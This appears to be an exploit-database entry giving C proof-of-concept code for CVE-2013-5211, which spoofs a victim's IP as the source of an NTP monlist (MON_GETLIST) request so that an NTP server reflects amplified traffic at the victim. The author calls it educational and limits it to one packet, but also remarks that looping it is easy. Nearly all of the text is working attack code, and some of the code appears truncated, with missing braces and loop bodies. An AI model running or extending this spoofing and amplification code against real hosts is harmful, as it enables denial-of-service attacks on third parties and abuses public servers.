NTP ntpd monlist Query Reflection - Denial of Service


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NTP ntpd monlist Query Reflection
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* Exploit Title: CVE-2013-5211 PoC - NTP DDoS amplification
* Date: 28/04/2014
* Code Author: Danilo PC - <DaNotKnow@gmail.com>
* CVE : CVE-2013-5211

/* I coded this program to help other to understand how an DDoS attack amplified by NTP servers works (CVE-2013-5211)
* I took of the code that generates a DDoS, so this code only sends 1 packet. Why? Well...there's a lot of kiddies out there,
*  if you know how to program, making a loop or using with other tool is piece of cake. There core idea is there, just use it as you please.


#include <stdio.h>         //For on printf function
#include <string.h>        //For memset
#include <sys/socket.h>    //Structs and Functions used for sockets operations.
#include <stdlib.h>      //For exit function
#include <netinet/ip.h>    //Structs for IP header

//Struct for UDP Packet
struct udpheader{
    unsigned short int udp_sourcePortNumber;
    unsigned short int udp_destinationPortNumber;
    unsigned short int udp_length;
    unsigned short int udp_checksum;

// Struct for NTP Request packet. Same as req_pkt from ntpdc.h, just a little simpler
struct  ntpreqheader {
    unsigned char rm_vn_mode;       /* response, more, version, mode */
    unsigned char auth_seq;     /* key, sequence number */
    unsigned char implementation;       /* implementation number */
    unsigned char request;          /* request number */
    unsigned short err_nitems;      /* error code/number of data items */
    unsigned short  mbz_itemsize;       /* item size */
    char data[40];              /* data area [32 prev](176 byte max) */
    unsigned long tstamp;           /* time stamp, for authentication */
    unsigned int keyid;         /* encryption key */
    char mac[8];        /* (optional) 8 byte auth code */

// Calculates the checksum of the ip header.
unsigned short csum(unsigned short *ptr,int nbytes)
    register long sum;
    unsigned short oddbyte;
    register short answer;

    while(nbytes>1) {
    if(nbytes==1) {

    sum = (sum>>16)+(sum & 0xffff);
    sum = sum + (sum>>16);


int main(int argc, char **argv)
int status;         // Maintains the return values of the functions
struct iphdr *ip;       // Pointer to ip header struct
struct udpheader *udp;      // Pointer to udp header struct
struct ntpreqheader *ntp;   // Pointer to ntp request header struct
int sockfd;         // Maintains the socket file descriptor
int one = 1;            // Sets the option IP_HDRINCL of the sockt to tell the kernel that the header are alredy included on the packets.
struct sockaddr_in dest;    // Maintains the data of the destination address
char packet[ sizeof(struct iphdr) + sizeof(struct udpheader) + sizeof(struct ntpreqheader) ]; //Packet itself

// Parameters check
    if( argc != 3){
        printf("Usage: ./ntpDdos [Target IP] [NTP Server IP]\n");
        printf("Example: ./ntpDdos \n");
        printf("Watch it on wireshark!\n");
        printf("Coded for education purpose only!\n");

// Create a socket and tells the kernel that we want to use udp as layer 4 protocol
    sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
    if (sockfd == -1){
        printf("Error on initializing the socket\n");

//Sets the option IP_HDRINCL
    status = setsockopt( sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof one);
    if (status == -1){
                printf("Error on setting the option HDRINCL on socket\n");

//"Zeroes" all the packet stack
    memset( packet, 0, sizeof(packet) );

//Mounts the packet headers
// [ [IP HEADER] [UDP HEADER] [NTP HEADER] ] --> Victory!!!
    ip = (struct iphdr *)packet;
    udp = (struct udpheader *) (packet + sizeof(struct iphdr) );
    ntp = (struct ntpreqheader *) (packet + sizeof(struct iphdr) + sizeof(struct udpheader) );

//Fill the IP Header
    ip->version = 4;     //IPv4
        ip->ihl = 5;         //Size of the Ip header, minimum 5
        ip->tos = 0;         //Type of service, the default value is 0
        ip->tot_len = sizeof(packet);   //Size of the datagram
        ip->id = htons(1234);    //LengthIdentification Number
        ip->frag_off = 0;        //Flags, zero represents reserved
        ip->ttl = 255;               //Time to Live. Maximum of 255
        ip->protocol = IPPROTO_UDP;  //Sets the UDP as the next layer protocol
        ip->check = 0;               //Checksum.
        ip->saddr = inet_addr( argv[1] );  //Source ip ( spoofing goes here)
        ip->daddr = inet_addr( argv[2] ); //Destination IP

    //Fills the UDP Header
    udp->udp_sourcePortNumber = htons( atoi( "123" ) );       //Source Port
    udp->udp_destinationPortNumber = htons(atoi("123")) ;   //Destination Port
    udp->udp_length = htons( sizeof(struct udpheader) + sizeof(struct ntpreqheader) ); //Length of the packet
    udp->udp_checksum = 0;                    //Checksum

    //Calculate the checksums
    ip->check = csum((unsigned short *)packet, ip->tot_len);   //Calculate the checksum for iP header

    //Sets the destination data
    dest.sin_family = AF_INET;               // Address Family Ipv4
    dest.sin_port = htons (atoi( "123" ) ) ;        // Destination port
    dest.sin_addr.s_addr = inet_addr( argv[2] );       // Destination Endereço para onde se quer enviar o pacote

    //Fills the NTP header
    //Ok, here is the magic, we need to send a request ntp packet with the modes and codes sets for only MON_GETLIST
    //To do this we can import the ntp_types.h and use its structures and macros. To simplify i've created a simple version of the
    // ntp request packet and hardcoded the values for the fields to make a "MON_GETLIST" request packet.
    // To learn more, read this: http://searchcode.com/codesearch/view/451164#127
    ntp->rm_vn_mode=0x17;       //Sets the response bit to 0, More bit to 0, Version field to 2, Mode field to 7
    ntp->implementation=0x03;   //Sets the implementation to 3
    ntp->request=0x2a;       //Sets the request field to 42 ( MON_GETLIST )
                    //All the other fields of the struct are zeroed

    // Sends the packets
    status = sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(dest) );
        if(status <0){
            printf("Failed to send the packets\n");


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